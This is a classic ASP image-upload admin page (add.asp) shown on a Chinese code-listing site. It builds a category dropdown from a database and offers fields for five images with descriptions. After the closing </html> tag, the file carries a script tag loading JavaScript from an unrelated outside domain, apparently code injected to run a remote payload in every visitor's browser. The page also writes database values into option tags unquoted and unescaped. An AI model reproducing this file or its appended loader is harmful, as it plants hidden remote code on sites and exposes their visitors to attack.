📄 add.asp
字号:
<!--#include file="conn.asp"-->
<!--#include file="check.asp"-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>无标题文档</title>
<link href="images/bbs.css" rel="stylesheet" type="text/css">
</head>
<body>
<%
sql="select classname from classname"
set rs=conn.execute(sql)
If rs.bof Then
rsclose()
ConnClose()
Response.Write("<br><br><br><br><br><br><br><center><a href=classmana.asp><font size=2 color=red>现在图片没有分类.请先填加分类!!!</font></a></center>")
Response.End
End If
%>
<table width="600" border="0" align="center" cellpadding="0" cellspacing="0">
<form action="upload.asp" method="post" enctype="multipart/form-data" name="upload">
<tr align="center">
<td height="30" colspan="2"><strong>图 片 上 传</strong></td>
</tr>
<tr>
<td width="157" height="22" align="right">所属分类:</td>
<td width="443"><select class="input" id="select" style="WIDTH: 125px" name="classname">
<% sql1="select classname from classname order by RootID"
set rs1=conn.execute(sql1)%>
<option value=<%=rs1("classname")%> selected><%=rs1("classname")%></option>
<% rs1.movenext
do while not rs1.eof %>
<option value=<%=rs1("classname")%>><%=rs1("classname")%></option>
<%i=i+1
rs1.movenext
loop
rsclose()
ConnClose()%>
</select></td>
</tr>
<tr>
<td height="22" align="right">组图名称:</td>
<td><input name="Title" type="text" id="Title" size="20">
</td>
</tr>
<tr>
<td height="22" align="right"><label>作 者:</label></td>
<td><input name="Photoer" type="text" id="Photoer" size="20">
[可不填]</td>
</tr>
<tr>
<td height="22" align="right" valign="top">简单说明:</td>
<td><input name="Desc" type="text" id="Desc" size="46">
[50字以内]</td>
</tr>
<tr>
<td height="22" align="right"><strong>选择图片</strong></td>
<td> </td>
</tr>
<tr>
<td height="22" align="right">图片一:</td>
<td><input style="WIDTH: 300px" type="file" name="file1">
推荐
<input name="Recomm1" type="checkbox" id="Recomm1" value="True"></td>
</tr>
<tr>
<td height="22" align="right" valign="top"> </td>
<td><textarea name="Content1" cols="40" rows="6" id="Content1" onMouseOver="this.select();">图片一描述</textarea></td>
</tr>
<tr>
<td height="22" align="right">图片二:</td>
<td><input name="file2" type="file" id="file2" style="WIDTH: 300px">
推荐
<input name="Recomm2" type="checkbox" id="Recomm2" value="True"></td>
</tr>
<tr>
<td height="22" align="right"> </td>
<td><textarea name="Content2" cols="40" rows="6" id="Content2" onMouseOver="this.select();">图片二描述</textarea></td>
</tr>
<tr>
<td height="22" align="right">图片三:</td>
<td><input name="file3" type="file" id="file3" style="WIDTH: 300px">
推荐
<input name="Recomm3" type="checkbox" id="Recomm3" value="True"></td>
</tr>
<tr>
<td height="22" align="right"> </td>
<td><textarea name="Content3" cols="40" rows="6" id="Content3" onMouseOver="this.select();">图片三描述</textarea></td>
</tr>
<tr>
<td height="22" align="right">图片四:</td>
<td><input name="file4" type="file" id="file4" style="WIDTH: 300px">
推荐
<input name="Recomm4" type="checkbox" id="Recomm4" value="True"></td>
</tr>
<tr>
<td height="22" align="right"> </td>
<td><textarea name="Content4" cols="40" rows="6" id="Content4" onMouseOver="this.select();">图片四描述</textarea></td>
</tr>
<tr>
<td height="22" align="right">图片五:</td>
<td><input name="file5" type="file" id="file5" style="WIDTH: 300px">
推荐
<input name="Recomm5" type="checkbox" id="Recomm5" value="True"></td>
</tr>
<tr>
<td height="22" align="right"> </td>
<td><textarea name="Content5" cols="40" rows="6" id="Content5" onMouseOver="this.select();">图片五描述</textarea></td>
</tr>
<tr>
<td height="22"> </td>
<td height="30"><input type="submit" name="Submit" value=" 上 传 "></td>
</tr>
</form>
</table>
</body>
</html>
<%
conn.close
set conn=nothing
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -